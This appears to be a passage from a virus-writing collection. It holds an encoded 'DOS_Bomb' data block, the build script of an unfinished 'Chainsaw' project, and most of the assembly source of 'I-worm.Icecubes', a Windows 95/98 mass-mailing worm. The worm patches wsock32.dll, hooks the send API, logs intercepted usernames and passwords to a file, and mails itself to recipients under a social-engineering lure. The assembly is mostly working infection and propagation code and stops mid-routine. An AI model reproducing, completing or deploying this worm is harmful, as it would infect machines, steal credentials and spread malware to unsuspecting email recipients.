; DB 27h, 2Ah, 2Ah, 3Fh, 46h, 2Eh, 27h, 34h, 22h, 23h
; DB 35h, 32h, 3Fh, 46h, 27h, 28h, 22h, 46h, 2Eh, 23h
; DB 34h, 46h, 2Fh, 28h, 30h, 27h, 2Ah, 2Fh, 22h, 46h
; DB 24h, 34h, 29h, 32h, 2Eh, 23h, 34h, 46h, 20h, 34h
; DB 27h, 28h, 2Dh, 2Ah, 2Fh, 28h, 48h, 46h, 2Fh, 32h
; DB 46h, 2Fh, 35h, 46h, 27h, 2Ah, 2Ah, 6Bh, 6Ch, 32h
; DB 2Eh, 23h, 46h, 2Bh, 29h, 34h, 23h, 46h, 32h, 34h
; DB 27h, 21h, 2Fh, 25h, 46h, 2Fh, 28h, 46h, 32h, 2Eh
; DB 27h, 32h, 46h, 32h, 2Eh, 23h, 3Fh, 46h, 31h, 23h
; DB 34h, 23h, 46h, 3Fh, 29h, 33h, 28h, 21h, 48h, 46h
; DB 24h, 33h, 32h, 4Ah, 46h, 2Eh, 27h, 22h, 46h, 32h
; DB 2Eh, 23h, 3Fh, 6Bh, 6Ch, 2Ah, 2Fh, 30h, 23h, 22h
; DB 46h, 30h, 23h, 34h, 3Fh, 4Ah, 46h, 30h, 23h, 34h
; DB 3Fh, 46h, 2Ah, 29h, 28h, 21h, 46h, 2Ah, 2Fh, 30h
; DB 23h, 35h, 4Ah, 46h, 32h, 2Eh, 23h, 3Fh, 46h, 25h
; DB 29h, 33h, 2Ah, 22h, 46h, 28h, 29h, 32h, 46h, 2Eh
; DB 27h, 30h, 23h, 46h, 23h, 3Eh, 36h, 23h, 25h, 32h
; DB 23h, 22h, 6Bh, 6Ch, 28h, 29h, 34h, 46h, 31h, 29h
; DB 33h, 2Ah, 22h, 46h, 32h, 2Eh, 23h, 3Fh, 46h, 2Eh
; DB 27h, 30h, 23h, 46h, 31h, 2Fh, 35h, 2Eh, 23h, 22h
; DB 46h, 32h, 29h, 46h, 35h, 23h, 23h, 46h, 27h, 35h
; DB 46h, 2Bh, 33h, 25h, 2Eh, 46h, 29h, 20h, 46h, 32h
; DB 2Eh, 23h, 46h, 2Bh, 27h, 22h, 46h, 27h, 28h, 22h
; DB 6Bh, 6Ch, 2Bh, 27h, 25h, 27h, 24h, 34h, 23h, 46h
; DB 27h, 35h, 46h, 32h, 2Eh, 23h, 3Fh, 46h, 31h, 23h
; DB 34h, 23h, 46h, 32h, 29h, 46h, 35h, 23h, 23h, 46h
; DB 32h, 2Eh, 27h, 32h, 46h, 22h, 27h, 3Fh, 48h, 46h
; DB 20h, 29h, 34h, 46h, 32h, 2Eh, 23h, 2Bh, 46h, 27h
; DB 28h, 46h, 2Fh, 22h, 3Fh, 2Ah, 2Ah, 2Fh, 25h, 6Bh
; DB 6Ch, 35h, 33h, 2Bh, 2Bh, 23h, 34h, 46h, 27h, 20h
; DB 32h, 23h, 34h, 28h, 29h, 29h, 28h, 46h, 22h, 34h
; DB 2Fh, 30h, 23h, 46h, 24h, 23h, 25h, 27h, 2Bh, 23h
; DB 46h, 27h, 46h, 28h, 2Fh, 21h, 2Eh, 32h, 2Bh, 27h
; DB 34h, 23h, 48h, 46h, 32h, 2Eh, 23h, 46h, 23h, 30h
; DB 23h, 28h, 32h, 35h, 46h, 29h, 20h, 6Bh, 6Ch, 32h
; DB 2Eh, 27h, 32h, 46h, 22h, 27h, 3Fh, 46h, 31h, 23h
; DB 34h, 23h, 46h, 32h, 29h, 46h, 2Ah, 23h, 27h, 22h
; DB 46h, 32h, 29h, 46h, 32h, 2Eh, 23h, 46h, 22h, 2Fh
; DB 35h, 25h, 29h, 30h, 23h, 34h, 3Fh, 46h, 29h, 20h
; DB 46h, 29h, 28h, 23h, 46h, 29h, 20h, 46h, 32h, 2Eh
; DB 23h, 46h, 2Bh, 29h, 35h, 32h, 6Bh, 6Ch, 24h, 2Fh
; DB 3Ch, 27h, 34h, 34h, 23h, 46h, 25h, 34h, 2Fh, 2Bh
; DB 23h, 35h, 46h, 2Fh, 28h, 46h, 32h, 2Eh, 23h, 46h
; DB 27h, 28h, 28h, 27h, 2Ah, 35h, 46h, 29h, 20h, 46h
; DB 27h, 2Bh, 23h, 34h, 2Fh, 25h, 27h, 28h, 46h, 2Eh
; DB 2Fh, 35h, 32h, 29h, 34h, 3Fh, 4Ah, 6Bh, 6Ch, 32h
; DB 2Eh, 23h, 46h, 32h, 23h, 3Eh, 27h, 35h, 46h, 25h
; DB 2Eh, 27h, 2Fh, 28h, 46h, 35h, 27h, 31h, 46h, 2Bh
; DB 27h, 35h, 35h, 27h, 25h, 34h, 23h, 48h, 48h, 48h
; DB 44h, 6Bh, 6Ch
;End_Trash_Text:
; END START

DOS_Bomb: DB 0B8h, 013h, 035h, 0CDh, 021h, 089h, 01Eh, 026h, 001h
DB 08Ch, 006h, 028h, 001h, 00Eh, 007h, 033h, 0F6h, 0BBh
DB 035h, 001h, 0B9h, 065h, 002h, 080h, 030h, 066h, 046h
DB 0E2h, 0FAh, 041h, 0BAh, 081h, 000h, 0B8h, 002h, 003h
DB 09Ch, 09Ah, 000h, 000h, 000h, 000h, 0FEh, 0C6h, 075h
DB 0F3h, 0FEh, 0CAh, 078h, 0EFh, 0C3h, 054h, 032h, 044h
DB 032h, 02Eh, 023h, 046h, 020h, 02Fh, 02Ah, 02Bh, 046h
DB 031h, 02Eh, 02Fh, 025h, 02Eh, 046h, 03Fh, 029h, 033h
DB 046h, 027h, 034h, 023h, 046h, 027h, 024h, 029h, 033h
DB 032h, 046h, 032h, 029h, 046h, 035h, 023h, 023h, 046h
DB 02Fh, 035h, 046h, 027h, 028h, 046h, 027h, 025h, 025h
DB 029h, 033h, 028h, 032h, 046h, 029h, 020h, 046h, 032h
DB 02Eh, 023h, 06Bh, 06Ch, 032h, 034h, 027h, 021h, 023h
DB 022h, 03Fh, 046h, 031h, 02Eh, 02Fh, 025h, 02Eh, 046h
DB 024h, 023h, 020h, 023h, 02Ah, 02Ah, 046h, 027h, 046h
DB 021h, 034h, 029h, 033h, 036h, 046h, 029h, 020h, 046h
DB 020h, 02Fh, 030h, 023h, 046h, 03Fh, 029h, 033h, 032h
DB 02Eh, 035h, 048h, 046h, 02Fh, 028h, 046h, 036h, 027h
DB 034h, 032h, 02Fh, 025h, 033h, 02Ah, 027h, 034h, 06Bh
DB 06Ch, 035h, 027h, 02Ah, 02Ah, 03Fh, 046h, 02Eh, 027h
DB 034h, 022h, 023h, 035h, 032h, 03Fh, 046h, 027h, 028h
DB 022h, 046h, 02Eh, 023h, 034h, 046h, 02Fh, 028h, 030h
DB 027h, 02Ah, 02Fh, 022h, 046h, 024h, 034h, 029h, 032h
DB 02Eh, 023h, 034h, 046h, 020h, 034h, 027h, 028h, 02Dh
DB 02Ah, 02Fh, 028h, 048h, 046h, 02Fh, 032h, 046h, 02Fh
DB 035h, 046h, 027h, 02Ah, 02Ah, 06Bh, 06Ch, 032h, 02Eh
DB 023h, 046h, 02Bh, 029h, 034h, 023h, 046h, 032h, 034h
DB 027h, 021h, 02Fh, 025h, 046h, 02Fh, 028h, 046h, 032h
DB 02Eh, 027h, 032h, 046h, 032h, 02Eh, 023h, 03Fh, 046h
DB 031h, 023h, 034h, 023h, 046h, 03Fh, 029h, 033h, 028h
DB 021h, 048h, 046h, 024h, 033h, 032h, 04Ah, 046h, 02Eh
DB 027h, 022h, 046h, 032h, 02Eh, 023h, 03Fh, 06Bh, 06Ch
DB 02Ah, 02Fh, 030h, 023h, 022h, 046h, 030h, 023h, 034h
DB 03Fh, 04Ah, 046h, 030h, 023h, 034h, 03Fh, 046h, 02Ah
DB 029h, 028h, 021h, 046h, 02Ah, 02Fh, 030h, 023h, 035h
DB 04Ah, 046h, 032h, 02Eh, 023h, 03Fh, 046h, 025h, 029h
DB 033h, 02Ah, 022h, 046h, 028h, 029h, 032h, 046h, 02Eh
DB 027h, 030h, 023h, 046h, 023h, 03Eh, 036h, 023h, 025h
DB 032h, 023h, 022h, 06Bh, 06Ch, 028h, 029h, 034h, 046h
DB 031h, 029h, 033h, 02Ah, 022h, 046h, 032h, 02Eh, 023h
DB 03Fh, 046h, 02Eh, 027h, 030h, 023h, 046h, 031h, 02Fh
DB 035h, 02Eh, 023h, 022h, 046h, 032h, 029h, 046h, 035h
DB 023h, 023h, 046h, 027h, 035h, 046h, 02Bh, 033h, 025h
DB 02Eh, 046h, 029h, 020h, 046h, 032h, 02Eh, 023h, 046h
DB 02Bh, 027h, 022h, 046h, 027h, 028h, 022h, 06Bh, 06Ch
DB 02Bh, 027h, 025h, 027h, 024h, 034h, 023h, 046h, 027h
DB 035h, 046h, 032h, 02Eh, 023h, 03Fh, 046h, 031h, 023h
DB 034h, 023h, 046h, 032h, 029h, 046h, 035h, 023h, 023h
DB 046h, 032h, 02Eh, 027h, 032h, 046h, 022h, 027h, 03Fh
DB 048h, 046h, 020h, 029h, 034h, 046h, 032h, 02Eh, 023h
DB 02Bh, 046h, 027h, 028h, 046h, 02Fh, 022h, 03Fh, 02Ah
DB 02Ah, 02Fh, 025h, 06Bh, 06Ch, 035h, 033h, 02Bh, 02Bh
DB 023h, 034h, 046h, 027h, 020h, 032h, 023h, 034h, 028h
DB 029h, 029h, 028h, 046h, 022h, 034h, 02Fh, 030h, 023h
DB 046h, 024h, 023h, 025h, 027h, 02Bh, 023h, 046h, 027h
DB 046h, 028h, 02Fh, 021h, 02Eh, 032h, 02Bh, 027h, 034h
DB 023h, 048h, 046h, 032h, 02Eh, 023h, 046h, 023h, 030h
DB 023h, 028h, 032h, 035h, 046h, 029h, 020h, 06Bh, 06Ch
DB 032h, 02Eh, 027h, 032h, 046h, 022h, 027h, 03Fh, 046h
DB 031h, 023h, 034h, 023h, 046h, 032h, 029h, 046h, 02Ah
DB 023h, 027h, 022h, 046h, 032h, 029h, 046h, 032h, 02Eh
DB 023h, 046h, 022h, 02Fh, 035h, 025h, 029h, 030h, 023h
DB 034h, 03Fh, 046h, 029h, 020h, 046h, 029h, 028h, 023h
DB 046h, 029h, 020h, 046h, 032h, 02Eh, 023h, 046h, 02Bh
DB 029h, 035h, 032h, 06Bh, 06Ch, 024h, 02Fh, 03Ch, 027h
DB 034h, 034h, 023h, 046h, 025h, 034h, 02Fh, 02Bh, 023h
DB 035h, 046h, 02Fh, 028h, 046h, 032h, 02Eh, 023h, 046h
DB 027h, 028h, 028h, 027h, 02Ah, 035h, 046h, 029h, 020h
DB 046h, 027h, 02Bh, 023h, 034h, 02Fh, 025h, 027h, 028h
DB 046h, 02Eh, 02Fh, 035h, 032h, 029h, 034h, 03Fh, 04Ah
DB 06Bh, 06Ch, 032h, 02Eh, 023h, 046h, 032h, 023h, 03Eh
DB 027h, 035h, 046h, 025h, 02Eh, 027h, 02Fh, 028h, 046h
DB 035h, 027h, 031h, 046h, 02Bh, 027h, 035h, 035h, 027h
DB 025h, 034h, 023h, 048h, 048h, 048h, 044h, 06Bh, 06Ch

END START

; *shrug*, haven't really finished this piece-o-crap,


; mainly because I got fed up with all them bugs in
; the server programs.. also not sure if the NetBios
; shit works on remotes.. oh fuck it :|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHAINSAW.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHAINSAW.RC]ÄÄÄ
I ICON DISCARDABLE "BLACK.ICO"
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHAINSAW.RC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Q.BAT]ÄÄÄ
TASM32 CHAINSAW.ASM /ml /m
TLINK32 CHAINSAW.OBJ C:\TASM\LIB\IMPORT32.LIB WININET.LIB -aa
BRC32 CHAINSAW.RC
UPX\UPX CHAINSAW.EXE --force
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Q.BAT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ICECUBES.ASM]ÄÄÄ
;****************************************************************************;
;----------------------------------------------------------------------------;
; I-worm.Icecubes v 1.05
; written by f0re
;----------------------------------------------------------------------------;
;============================================================================;
;
; ABOUT
; -----
;
; Welcome to the sourcecode of my first i-worm. I have given this worm its
; name, i-worm.Icecubes, because of two reasons. First of all, here where
; i live the summer is coming..and i like icecubes in my drinks :).
; Secondly it is because of the joke behind the worm host code; when a user
; receives the worm in his mailbox, the emailmessage looks like this:
;
; Subject: Fw: Windows Icecubes !
;
; ----- Original Message -----
;
; >Look at what I found on the web. This tool scans your system for hidden
; >Windows settings.
; >These settings, which are better known as the "Windows Icecubes", were
; >built in Windows by
; >the programmers at Microsoft and were supposed to be kept secret.
; >
; >Just take a look, cause I think you might want to make some changes ;).
; >
;
;
; EXECUTION
; ---------
;
; When the worm is executed it will first check whether it is being executed
; under win 95/98. If any other version of windows is found, it will skip the
; infection procedure and run the worm-host code immediately.
;
; If windows 95/98 is detected it will try to locate the wsock32.dll and copy it
; to wsock32.inf. It also copies itself to the windows system directory under
; the name wsock2.dll. Then it will add the worm code to the .inf file by
; increasing the size of the last section.
; Next the worm will point the send api address in the wsock32.inf export table
; to the virus code. Finally the worm drops a wininit.ini file in the windir
; to direct windows at the next reboot to overwrite the original wsock32.dll
; with the infected wsock32.inf.
;
; Then the worm will execute the worm host code; a progressbar followed by
; funny dialog (check it out for yourself :).
;
;
; SEND HOOK
; ---------
;
; Once the wsock32.dll api-hook-routine receives control it will scan the send
; buffer for usernames and or passwords. If these are found, they are stored in the
; file <windir>\icecube.txt. If an email is being sended, the worm will extract the
; recipient(s) emailaddress(es), the from emailaddres, the recipient(s) name(s)
; and the from-name. Next it will base64 encode the host-worm file (wsock2.dll) and
; prepare a new email with the encoded host attached. The body of the email contains
; the text as shown in the ABOUT section of this description. This new email will
; be send after the original email has been send (this is also known as the
; happy99 technique).
;
;
; THANKS
; ------
;
; I'd like to thank the following persons who helped me with my many
; questions: BlackJack, MrSandman, Spo0ky, Darkman, Benny, Prizzy,
; urgo32, Lifewire, dageshi and T-2000.
;
;
;****************************************************************************;
;
; To compile:
;
; tasm32 icecubes.asm /ml /m
; tlink32 -aa icecubes.obj import32.lib
;
; brcc32 icecubes.rc
; brc32.exe icecubes.res
;
;****************************************************************************;

.386
.model flat, stdcall

locals
jumps
extrn ExitProcess:PROC
extrn DialogBoxParamA:PROC
extrn GetModuleHandleA:PROC
extrn EndDialog:PROC
extrn GetWindowRect:PROC
extrn GetDesktopWindow:PROC
extrn MoveWindow:PROC
extrn CreateThread:PROC
extrn SendDlgItemMessageA:PROC
extrn SetDlgItemTextA:PROC
extrn CloseHandle:PROC
extrn GetDlgItemTextA:PROC
extrn GetModuleHandleA:PROC
extrn GetVersion:PROC

.data

Start:
xor ebp, ebp

CheckWindowsVersion:
call GetVersion
or eax, eax
jz ReturnToWormHost

MainRoutines:
pushad
call GET_GETPROCADDRESS_API_ADDRESS
call GET_WINDIR
call GET_SYSDIR
call INFECT_WSOCK
call COPY_HOST_FILE
popad

ReturnToWormHost:
jmp OriginalHost

;==============================[ includes ]==================================;

include windows.inc
include wsocks.inc
include myinc.inc

;=============================[ ic-data.inc ]===============================;

; get_gpa.inc data
kernel32address dd 0BFF70000h
numberofnames dd ?
addressoffunctions dd ?
addressofnames dd ?
addressofordinals dd ?
AONindex dd ?
AGetProcAddress db "GetProcAddress", 0
AGetProcAddressA dd 0

; directory.inc data
currentdir db 100h dup(0)
sysdir db 100h dup(0)
windir db 100h dup(0)
AGetSystemDirectory db "GetSystemDirectoryA",0
AGetWindowsDirectory db "GetWindowsDirectoryA",0
ASetCurrentDirectory db "SetCurrentDirectoryA",0

; infect_wsock.inc
wsock32dll db "Wsock32.dll",0
wsock32inf db "Wsock32.inf",0
ACopyFile db "CopyFileA",0
infectionflag db 0
AFindFirstFile db "FindFirstFileA",0
myfinddata WIN32_FIND_DATA <>
filesize dd 0
memory dd 0
ADeleteFile db "DeleteFileA",0

; infect_file.inc
ASetFileAttributes db "SetFileAttributesA",0
ACreateFile db "CreateFileA",0
ACreateFileMapping db "CreateFileMappingA",0
AMapViewOfFile db "MapViewOfFile",0
filehandle dd 0
maphandle dd 0
mapaddress dd 0
PEheader dd 0
imagebase dd 0
imagesize dd 0
wnewapiaddress dd 0
AUnmapViewOfFile db "UnmapViewOfFile",0
ACloseHandle db "CloseHandle",0
ASetFilePointer db "SetFilePointer",0
ASetEndOfFile db "SetEndOfFile",0
ASetFileTime db "SetFileTime",0

; hook_api.inc
woldapiaddress dd 0

; rva_to_raw.inc
rva2raw dd 0
; get_api.inc
user32address dd 0
wsock32address dd 0

; create_ini_file.inc
inifile db "wininit.ini",0
writtensize dw 0
inicrlf db 0dh,0ah,0
rename db "[rename]",13,10
slashsign db "\",0
equalsign db "=",0
writtenbytes dd 0
AWriteFile db "WriteFile",0

; ws_copy_host_file
AGetModuleFileName db "GetModuleFileNameA",0

; get_bases.inc
ALoadLibrary db "LoadLibraryA",0
k32 db "KERNEL32.dll",0
user32 db "USER32.dll",0
wsock32 db "WSOCK32.dll",0

; host_code.inc
dlgrect RECT <>
desktoprect RECT <>
dlgwidth dd 0
dlgheight dd 0
threadid dd 0
initflag dd 0
okflag dd 0
flag dd 0
pastvalue dd 0
currentvalue db '2',0
doneflag dd 0
value11 db "Days",0
value12 db "Weeks",0
value13 db "Months",0
value14 db "Years",0
value3 db "5000",0
value4 db "17",0

; ic.asm
hInst dd 0

; write_to_file.inc
passwordfile db "icecube.txt",0

; ws_intercept.inc
socketh dd 0
status db 0
AGlobalAlloc db "GlobalAlloc",0
fromaddress dd 0
fromsize dd 0
rcptnumber dd 0
rcpt_buffer_address dd 0
rcpt_size_address dd 0
totalrcptsize dd 0
fromtag db 'From:',0
totag db 'To:',0
mimeendtag db '>',0
mimefrom_address dd 0
mimefromsize dd 0
fromstatus db 0
tostatus db 0
toendtag db 'Subject:',0
mimetosize dd 0
mimeto_address dd 0

; ws_b64_encoder.inc
encTable db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv'
db 'wxyz0123456789+/'
; ws_attachment
wsock2 db "Wsock2.dll",0
smHnd dd 0
dmHnd dd 0
bytesread dd 0
encodedsize dd 0
AReadFile db "ReadFile",0
AGetFileSize db "GetFileSize",0

; ws_send_mail
email_buffer_address dd 0
email_size dd0
datatag db'DATA',0dh,0ah
emailid db'Message-ID: <a1234>',0dh,0ah
emailstart db 'Subject: Fw: Windows Icecubes !',0dh,0ah
db'MIME-Version: 1.0',0dh,0ah
db 'Content-Type: multipart/mixed; boundary="a1234"',0dh,0ah
db 0dh,0ah,'--a1234',0dh,0ah
db 'Content-Type: text/plain; charset=us-ascii',0dh,0ah
db 'Content-Transfer-Encoding: 7bit',0dh,0ah,0dh,0ah
db 0dh,0ah
db '----- Original Message -----', 0dh,0ah
db 0dh,0ah
db '>Look at what I found on the web. This tool scans your system for
hidden Windows settings.', 0dh, 0ah
db '>These settings, which are better known as the "Windows Icecubes",
were built in Windows by', 0dh,0ah
db '>the programmers at Microsoft and were supposed to be kept secret. ',
0dh,0ah
db '>',0dh,0ah
db '>Just take a look, cause I think you might want to make some changes
;).',0dh,0ah
db '>',0dh,0ah
db 0dh,0ah
db 0dh,0ah,'--a1234',0dh,0ah
db 'Content-Type: application/octet-stream; name="Icecubes.exe"'
db 0dh,0ah,'Content-Transfer-Encoding: base64',0dh,0ah
db 'Content-Disposition: attachment; filename="Icecubes.exe"',0dh
,0ah,0dh,0ah
emailend db 0dh,0ah
emailtail db 0dh,0ah,0dh,0ah,'--a1234--',0dh,0ah,0dh,0ah
endtag db 0Dh,0Ah,2Eh,0Dh,0Ah
timedate SYSTEMTIME <>
AMessageBox db "MessageBoxA",0
AGetSystemTime db "GetSystemTime",0
msgmessage db "Windows detected icecubes on your harddrive.",10,13
db "This may cause the system to stop responding.",10,13
db "Do you want Windows to remove all icecubes ?",0
windowtitle db "I-worm.Icecubes / f0re",0
ASend db "send",0
ARecv db "recv",0
recvbuffer db 100h dup(0)

;============================[ ic-get_gpa.inc ]=============================;


GET_GETPROCADDRESS_API_ADDRESS proc

LoadExportTableData:
mov edi, [ebp + kernel32address] ; get exporttable
add edi, [edi + 3ch] ; address from
mov esi, [edi + 78h] ; kernel's PE header
add esi, [ebp + kernel32address]

mov eax, dword ptr [esi + 18h]


mov [ebp + numberofnames], eax ; save number of names

mov eax, dword ptr [esi + 1Ch] ; get ra of table with


add eax, [ebp + kernel32address] ; pointers to funtion
mov [ebp + addressoffunctions], eax ; addresses

mov eax, dword ptr [esi + 20h] ; get ra of table with


add eax, [ebp + kernel32address] ; pointers to names
mov [ebp + addressofnames], eax ; of functions

mov eax, dword ptr [esi + 24h] ; get ra of table with


add eax, [ebp + kernel32address] ; pointers to ordinals
mov [ebp + addressofordinals], eax ; of functions

BeginProcAddressSearch:
mov esi, [ebp + addressofnames] ; search for GetProc
mov [ebp + AONindex], esi ; Address API in names
mov edi, [esi] ; table
add edi, [ebp + kernel32address]
xor ecx, ecx
lea ebx, [ebp + AGetProcAddress]

TryAgain:
mov esi, ebx

MatchByte:
cmpsb
jne NextOne
cmp byte ptr [esi], 0 ; did the entire string
je GotIt ; match ?
jmp MatchByte

NextOne:
inc cx
add dword ptr [ebp + AONindex], 4 ; get next namepointer
mov esi, [ebp + AONindex] ; in table (4 dwords)
mov edi, [esi]
add edi, [ebp + kernel32address] ; align with kernelbase
jmp TryAgain

GotIt:
shl ecx, 1
mov esi, [ebp + addressofordinals] ; ordinal = nameindex *
add esi, ecx ; size of ordinal entry
xor eax, eax ; + ordinal table base
mov ax, word ptr [esi]
shl eax, 2 ; address of function =
mov esi, [ebp + addressoffunctions] ; ordinal * size of
add esi, eax ; entry of address
mov edi, dword ptr [esi] ; table + base of
add edi, [ebp + kernel32address] ; addresstable
mov [ebp + AGetProcAddressA], edi ; save GPA address
ret
GET_GETPROCADDRESS_API_ADDRESS endp

;===========================[ ic-get_bases.inc ]============================;

GET_WSOCK32_BASE_ADDRESS proc

LoadWsock32:
lea eax, [ebp + wsock32] ; not found, then
push eax ; load the dll
lea eax, [ebp + ALoadLibrary] ; first
call GETAPI
mov [ebp + wsock32address], eax
ret

GET_WSOCK32_BASE_ADDRESS endp

GET_USER32_BASE_ADDRESS proc

GetUser32Base:
lea eax, [ebp + user32]
push eax
lea eax, [ebp + ALoadLibrary]
call GETAPI
mov [ebp + user32address], eax
ret

GET_USER32_BASE_ADDRESS endp

;============================[ ic-get_api.inc ]=============================;

GETAPI proc

push eax
push dword ptr [ebp + kernel32address] ; load kernelbase
call [ebp + AGetProcAddressA] ; and get api address
jmp eax ; call the api
ret ; return

GETAPI endp

GETUAPI proc

push eax
push dword ptr [ebp + user32address] ; load wsockbase
call [ebp + AGetProcAddressA] ; and get api address
jmp eax
ret

GETUAPI endp

GETWAPI proc

push eax
push dword ptr [ebp + wsock32address] ; load wsockbase
call [ebp + AGetProcAddressA] ; and get api address
jmp eax
ret

GETWAPI endp

;==========================[ ic-directory.inc ]=============================;


GET_WINDIR proc

GetWindowsDir:
push 128h ; size of dirstring
lea eax, [ebp + windir] ; save it here
push eax
lea eax, [ebp + AGetWindowsDirectory] ; get windowsdir
call GETAPI
ret

GET_WINDIR endp

GET_SYSDIR proc

GetSystemDir:
push 128h ; size of dirstring
lea eax, [ebp + sysdir] ; save it here
push eax
lea eax, [ebp + AGetSystemDirectory] ; get system dir
call GETAPI
ret

GET_SYSDIR endp

SET_WINDIR proc

SetWindowsDir:
lea eax, [ebp + windir] ; change to sysdir
push eax
lea eax, [ebp + ASetCurrentDirectory]
call GETAPI
ret

SET_WINDIR endp

SET_SYSDIR proc

SetSystemDir:
lea eax, [ebp + sysdir] ; change to sysdir
push eax
lea eax, [ebp + ASetCurrentDirectory]
call GETAPI
ret

SET_SYSDIR endp

;=========================[ ic-infect_wsock.inc ]===========================;

INFECT_WSOCK proc

WsockSetSystemDirectory:
call SET_SYSDIR

CopyWSockFile:
push 00h
lea eax, [ebp + wsock32inf]
push eax
lea eax, [ebp + wsock32dll]
push eax
lea eax, [ebp + ACopyFile]
call GETAPI

SearchWsockFile:
mov [ebp + infectionflag], 00h
lea eax, [ebp + myfinddata] ; win32 finddata structure
push eax
lea eax, [ebp + wsock32inf] ; get wsock32.inf
push eax
lea eax, [ebp + AFindFirstFile] ; find the first file
call GETAPI
cmp eax, 0FFFFFFFh
je WsockEndSearch

GoInfectWsockInf:
mov ecx, [ebp + myfinddata.fd_nFileSizeLow] ; ecx = filesize
mov [ebp + filesize], ecx ; save the filesize
add ecx, Leap - Start + 1000h ; filesize + virus
mov [ebp + memory], ecx ; + workspace = memory
call INFECT_FILE
cmp [ebp + infectionflag], 01
je DeleteWsockFile

call CREATE_INI_FILE
jmp WsockEndSearch

DeleteWsockFile:
lea eax, [ebp + wsock32inf]
push eax
lea eax, [ebp + ADeleteFile]
call GETAPI

DeleteIniFile2:
call SET_WINDIR
lea eax, [ebp + inifile]
push eax
lea eax, [ebp + ADeleteFile]
call GETAPI

WsockEndSearch:
ret

INFECT_WSOCK endp

;=========================[ ic-infect_file.inc ]============================;

INFECT_FILE proc

SetAttributesToNormal:
push 80h
lea esi, [ebp + myfinddata.fd_cFileName] ; esi = filename
push esi
lea eax, [ebp + ASetFileAttributes]
call GETAPI

OpenFile:
push 0 ; template handle=0
push 20h ; attributes=any file
push 3 ; type= existing file
push 0 ; security option = 0
push 1 ; shared for read
push 80000000h or 40000000h ; generic read write
push esi ; offset file name
lea eax, [ebp + ACreateFile]
call GETAPI

cmp eax, 0FFFFFFFFh


je InfectionError
mov [ebp + filehandle], eax

;-------------------------------[ map file ]---------------------------------;

CreateFileMapping: ; allocates the memory


push 0 ; filename handle = 0
push dword ptr [ebp + memory] ; max size = memory
push 0 ; minumum size = 0
push 4 ; read / write access
push 0 ; sec. attrbs= default
push dword ptr [ebp + filehandle]
lea eax, [ebp + ACreateFileMapping]
call GETAPI ; eax = new map handle

mov [ebp + maphandle], eax


or eax, eax
jz CloseFile

MapViewOfFile:
push dword ptr [ebp + memory] ; memory to map
push 0 ; file offset
push 0 ; file offset
push 2 ; file map write mode
push eax ; file map handle
lea eax, [ebp + AMapViewOfFile] ; ok map the file
call GETAPI

or eax, eax
jz CloseMap
mov esi, eax ; esi= base of map
mov [ebp + mapaddress], esi ; save that base

DoSomeChecks:
cmp word ptr [esi], 'ZM' ; an exe file?
jne UnmapView
cmp word ptr [esi + 38h], 'll' ; already infected?
jne OkGo
mov [ebp + infectionflag], 1 ; set infectionflag
jmp UnmapView

OkGo:
mov ebx, dword ptr [esi + 3ch]
cmp ebx, 200h
ja UnmapView
add ebx, esi
cmp dword ptr [ebx], 'EP' ; is it a PE file ?
jne UnmapView

mov [ebp + PEheader], ebx ; save ra PE header


mov esi, ebx
mov eax, [esi + 34h]
mov [ebp + imagebase], eax ; save imagebase

;------------------------------[ append section ]----------------------------;

LocateBeginOfLastSection:
movzx ebx, word ptr [esi + 20d] ; optional header size
add ebx, 24d ; file header size
movzx eax, word ptr [esi + 6h] ; no of sections
dec eax ; (we want the last-1
mov ecx, 28h ; sectionheader)
mul ecx ; * header size
add esi, ebx ; esi = begin of last
add esi, eax ; section's header

ChangeLastSectionHeader:
or dword ptr [esi + 24h], 00000020h or 20000000h or 80000000h

NewAlignedPhysicalSize:
mov eax, dword ptr [esi + 10h] ; old phys size
push eax ; save it

add eax, Leap-Start


mov ecx, [ebp + PEheader]
mov ecx, [ecx + 38h]
div ecx ; and align it to
inc eax ; the sectionalign
mul ecx
mov dword ptr [esi + 10h], eax ; save it

VirtualSizeCheck:
mov edi, dword ptr [esi + 8h] ; get old
cmp eax, edi ; virtualsize
jge NewVirtualSize

VirtualSizeIsVirtual:
add edi, Leap-Start
mov eax, edi
mov ecx, [ebp + PEheader]
mov ecx, [ecx + 38h]
div ecx ; and align it to
inc eax ; the sectionalign
mul ecx

NewVirtualSize:
mov [esi + 8h], eax ; save new value

NewAlignedImageSize:
mov eax, dword ptr [esi + 0ch] ; get virtual offset
add eax, dword ptr [esi + 8h] ; + new virtual size
mov [ebp + imagesize], eax ; = new imagesize

NewAlignedFileSize:
mov eax, dword ptr [esi + 10h] ; get new phys size
add eax, dword ptr [esi + 14h] ; add offset of phys
mov ecx, [ebp + PEheader]
mov ecx, [ecx + 3ch]
div ecx ; and align it to
inc eax ; the filealign
mul ecx
mov [ebp + filesize], eax ; size = filesize

CalculateNewWsockApiAddress:
pop eax
push eax
add eax, dword ptr [esi + 0ch] ; + virtual offset
add eax, InterceptWsockApiCall - Start ; + ip
